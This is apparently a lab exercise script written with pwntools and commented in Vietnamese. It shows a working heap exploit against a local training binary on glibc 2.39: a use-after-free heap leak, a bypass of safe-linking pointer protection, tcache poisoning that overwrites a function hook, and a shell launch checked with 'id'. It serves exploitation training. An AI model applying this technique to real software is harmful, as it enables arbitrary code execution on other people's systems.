#!/usr/bin/env python3
# Lab 9.3: tcache poisoning voi safe-linking tren glibc 2.39. Chay voi ASLR BAT.
# Phat hien quan trong (da test): single-free KHONG du vi "count gate" -> sau 1 malloc
# count ve 0, malloc thu 2 bo qua tcache. Phai free 2 chunk de count=2.
from pwn import *
context.binary = elf = ELF('./poison')
context.log_level = 'info'

io = process('./poison')
def alloc(i):      io.sendlineafter(b'> ', b'1'); io.sendlineafter(b'idx> ', str(i).encode())
def free(i):       io.sendlineafter(b'> ', b'2'); io.sendlineafter(b'idx> ', str(i).encode())
def edit(i, d):    io.sendlineafter(b'> ', b'3'); io.sendlineafter(b'idx> ', str(i).encode()); io.sendafter(b'data> ', d)
def show(i):       io.sendlineafter(b'> ', b'4'); io.sendlineafter(b'idx> ', str(i).encode()); return io.recv(8)
def runhook():     io.sendlineafter(b'> ', b'5')

PROTECT = lambda pos, ptr: (pos >> 12) ^ ptr

alloc(0); alloc(1)              # chunk0 @ heap+0x2a0, chunk1 @ heap+0x2e0 (size 0x40)
free(0); free(1)               # tcache[0x40]: count=2, head=chunk1, chunk1.fd=PROTECT(chunk1,chunk0)

# Leak: chunk0 la phan tu thu 2 trong bin, chunk0.fd = PROTECT(chunk0, NULL) = chunk0>>12
leak = u64(show(0).ljust(8, b'\x00'))
heap_base = leak << 12                      # vi chunk0 & 0xfff = 0x2a0 < 0x1000
chunk1 = heap_base + 0x2e0
log.info('leak(chunk0>>12) = %#x', leak)
log.info('heap_base        = %#x', heap_base)
log.info('chunk1 (head)    = %#x', chunk1)

hook = elf.sym['hook']
assert hook % 16 == 0, 'target phai can 16 (aligned_OK trong tcache_get)'
# Poison head (chunk1): dat note1.fd = PROTECT(chunk1, &hook) (UAF edit tren chunk da free)
edit(1, p64(PROTECT(chunk1, hook)))         # safe-linking: luu (chunk1>>12) XOR &hook

alloc(2)                                     # tra ve chunk1, head = REVEAL(chunk1.fd) = &hook
alloc(3)                                     # tra ve &hook  (slots[3] = &hook)
edit(3, p64(elf.sym['win']))                 # *hook = win
log.info('wrote win=%#x into hook=%#x', elf.sym['win'], hook)
runhook()                                     # hook() -> win() -> /bin/sh

io.sendline(b'echo ===PWNED_9_3===; id; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'uid=' in out and '===PWNED_9_3===' in out, 'FAIL'
log.success('tcache poisoning OK: hook->win, got shell')